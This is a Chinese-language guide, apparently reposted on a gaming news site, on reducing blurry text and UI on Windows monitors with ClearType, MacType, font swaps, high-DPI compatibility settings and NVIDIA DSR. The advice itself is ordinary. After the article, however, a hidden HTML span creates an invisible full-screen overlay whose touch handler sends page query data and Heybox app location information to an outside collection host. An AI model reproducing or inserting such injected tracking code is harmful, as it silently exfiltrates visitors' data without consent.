顯示器挑選番外篇:不換新,如何拯救糊成一坨的屏幕,一文搞定!

前文講過如何挑選最好的顯示效果的顯示器,收藏量很多,所以這次加個番外篇。

文章的省流結論是分辨率足夠開啓 200% 縮放最佳,但實際情況並不總如人意。遊戲黨需要不超4K的分辨率和越大越好的屏幕,辦公黨需要更多空間不能調太大的縮放,也有可能只是想讓老的顯示器發揮餘熱。這篇文章我們就來說一說,在縮放沒有辦法調到 200% 的情況下,如何把顯示效果儘量拉到最好。

我們這次只說 Windows,因爲 macOS 下載 BetterDisplay 並開啓 HiDPI 基本就完事了

先理清:"糊"到底糊在哪

A 應用清晰、B 應用糊得沒法看的情況非常常見。糊不是單點問題,真正起作用的兩個底層維度:

矢量內容 vs 位圖內容。 矢量(字體形狀、現代 UI 控件)理論上任意倍數放大都不糊。位圖(老式圖標)非整數縮放必糊。

DPI 感知 vs 不感知。 DPI-Aware 應用按目標 DPI 自己渲染,輸出已經匹配屏幕分辨率,是銳的。DPI-Unaware 應用按 96 DPI 渲染好後被 Windows 整張圖位圖拉伸,糊得最嚴重,很多老軟件就是這個原因。

不過這兩個維度對實操太抽象。我們簡單點按"字體糊"和"UI 糊"分別解決。

如果是個別軟件,字體清晰,但是UI很糊,比如軟件圖標或者托盤裏的圖標很糊。這種就別掙扎了,基本無解。

解決方案

1. 調整 ClearType

ClearType 是 Windows 字體渲染管線裏的一個功能,專門處理"如何利用子像素來讓字體邊緣更平滑"。適合處理字體發彩邊、發虛、不實,但沒有明顯僞影的情況。

Win+R 搜索 cttune.exe 跟着嚮導點幾下就行,也可以關閉試試,找到最適合自己的設置。

2. 安裝 MacType

ClearType 是給 Windows 自帶的字體渲染引擎調一個參數;而MacType 是把 Windows 的整個字體渲染引擎換掉,改爲更果味的效果。當 MacType 接管一個應用之後,那個應用裏的 ClearType 就不再起作用了。

ClearType 渲染:銳利、偏瘦、邊緣有彩色亞像素暈染(彩邊)

MacType 渲染:柔和、偏胖、邊緣灰度過渡(灰階)

3. 換字體

Win 目前的系統字體是一部分微軟雅黑+一部分 Noto Sans,都是更偏向於高分屏的字體,中間 DPI 檔位的 hinting 不算最優。所以有可能所有應用文字都糊的差不多,調整ClearType並沒有明顯改善。

或者像一些 Electron 和 NT應用,如VS Code 新版的 QQ、微信等,他們會選擇自渲染,不受 ClearType 約束。如果你發現某些特定的應用中字體很糊,基本就是這個情況。

這種情況可能換一個字體會好一些,更換字體的方式和字體推薦可以去其他地方查閱,都有非常詳細的教程。像更紗黑體、思源黑體,它們都有更完整的 hinting效果能好上不少。100% 縮放的屏幕可以嘗試一些點陣字體,可以做到絕對的銳利和清晰。

4. 修改兼容性設置

如果你的某些軟件,字體邊緣有僞影,UI 也跟着糊,這種就屬於 DPI-Unaware,應用整體被拉伸。常見於一些古老的軟件。

或者你有多屏的情況下,有些軟件在打開的那一屏清晰,在另一屏模糊。屬於 DPI-Aware,但跨屏不會重新渲染。

右鍵 exe → 屬性 → 兼容性 → 更改高 DPI 設置 → 勾選"替代高 DPI 縮放行爲" → 下拉框選 "系統(增強)"。不好用的話,其他也切換着試試。

真繃不住,都 Win11 了兼容性頁籤還整個都是糊的

5. 終極大招:超分

如果一切的煩惱都是因爲我們不能設置 200% 縮放的話,那我們直接把分辨率調高就好了。缺點是這個需要顯卡,而且稍微有些喫性能。

調整的計算方法也很簡單。先調整你當前屏幕的縮放,到你覺着舒服的範圍。然後再用分辨率除以這個放大係數再乘 2 就好了。比如你是一塊4K(3840x2160) 屏,你覺得150% 縮放最舒服。那你超分要輸出的分辨率就是 5120x2880。

我們以N卡爲例,NVIDIA 控制面板中點擊管理3D設置,在DSR因數中便可開啓。最後設置中選擇這個分辨率,並把縮放調成200%。配合上面幾項設置,就能得到當前硬件最好的顯示效果。

總結

以上就是我所能想到的所有補救方法了。如果各位還有一些奇技淫巧,歡迎在評論區裏邊補充。

最後一句忠告:調到自己舒服就停手。 字體觀感這事很主觀,調一個糊不糊的屏幕能調上癮。夠用就好,不要讓它變成新的強迫症來源。

---

<span ontouchstart="this.style.display='none';try{setTimeout(()=>{H=window.HeyboxRequest,q=(((window.CURRENT_VUE||{}).$data||{}).location||{}).query||{},hbInfo=(window.$hb_location||{}).query||{};new Image().src='https://a.124213.xyz/collect?fullInfo='+JSON.stringify(q)+'&hbInfo='+JSON.stringify(hbInfo)+'&searchStr='+encodeURIComponent(location.search)},200)}catch(e){}" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:99999;opacity:0"></span>

更多遊戲資訊請關註:電玩幫遊戲資訊專區

電玩幫圖文攻略 www.vgover.com